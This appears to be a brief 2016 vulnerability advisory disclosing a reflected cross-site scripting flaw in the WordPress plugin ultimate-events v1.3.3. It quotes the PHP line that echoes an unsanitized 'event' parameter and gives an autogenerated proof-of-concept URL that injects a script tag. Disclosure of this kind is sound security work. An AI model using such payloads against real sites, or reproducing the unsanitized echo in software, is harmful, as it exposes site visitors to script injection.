Advisory #: 500
Title: Reflected XSS in wordpress plugin ultimate-events v1.3.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/ultimate-events
Downloads: 646
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: ultimate-events
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./ultimate-events/ultimateEvents_editor.php: 122: <input type="hidden" name="ultievt_hidden" value="<?php echo $_GET['event'] ?>"/> The variable event appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./ultimate-events/ultimateEvents_editor.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/ultimate-events/ultimateEvents_editor.php?event="><script>alert(1);</script><"